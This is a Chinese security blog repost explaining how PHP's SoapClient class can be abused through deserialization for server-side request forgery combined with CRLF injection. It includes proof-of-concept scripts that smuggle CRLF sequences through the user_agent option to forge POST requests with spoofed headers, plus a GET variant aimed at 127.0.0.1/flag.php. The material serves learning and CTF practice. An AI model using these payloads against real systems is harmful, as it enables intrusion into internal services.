文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-06-23   1k

【转】利用SoapClient类进行SSRF+CRLF攻击

原文链接:https://lethe.site/2019/09/06/利用SoapClient类进行SSRF-CRLF攻击/#

太懒了,就不重复总结了。转载lethe师傅的一篇文章,侵权删文。

0x01 什么是Soap

SOAP是webService三要素(SOAP、WSDL、UDDI)之一:

  • WSDL 用来描述如何访问具体的接口。
  • UDDI用来管理,分发,查询webService。
  • SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
    其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

0x02 PHP中的SoapClient类

参考链接:https://www.php.net/manual/zh/soapclient.soapclient.php

PHP 的 SOAP 扩展可以用来提供和使用 Web Services,这个扩展实现了6个类,其中的SoapClient类是用来创建soap数据报文,与wsdl接口进行交互的,同时这个类下也是有反序列化中常常用到的__call()魔术方法。

该类的构造函数如下:

1
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置locationuri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

在这里插入图片描述

知道上述两个参数的含义后,就很容易构造出SSRF的利用payload了。

我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url,如下

1
2
3
4
5
<?php
$a = new SoapClient(null, array('location' => "http://xxx.xxx.xxx",
'uri' => "123"));
echo serialize($a);
?>

当把上述脚本得到的序列化串进行反序列化(unserialize),并执行一个SoapClient没有的成员函数时,会自动调用该类的__Call方法,然后向target_url发送一个soap请求,并且uri选项是我们可控的地方。

0x03 CRLF Injection

CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

参考链接:
[CRLF Injection漏洞的利用与实例分析](https://wooyun.js.org/drops/CRLF Injection漏洞的利用与实例分析.html)

0x04 SSRF+CRLF攻击内网

实际上很多时候都需要这两个漏洞配合在一起使用,当我们我们可以从外网调用到soap的api,而攻击目标是在内网,那么就可以利用SoapClient进行SSRF攻击内网,然后配合CRLF构造POST请求增加我们的攻击面。

那么为什么在用SoapClient类进行SSRF的时候会有CRLF注入的问题呢?如下:

在这里插入图片描述

可以看到options参数中还有一个选项为user_agent,运行我们自己设置User-Agent的值。

当我们可以控制User-Agent的值时,也就意味着我们完全可以构造一个POST请求,因为Content-Type为和Content-Length都在User-Agent之下,而控制这两个是利用CRLF发送post请求最关键的地方。

最后给出wupco师傅的生成任意POST报文的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>

如果是GET请求的话,那么构造好location就行:

1
2
3
4
5
6
7
<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>
Copyright © ca01h 2019-2020 | 本站总访问量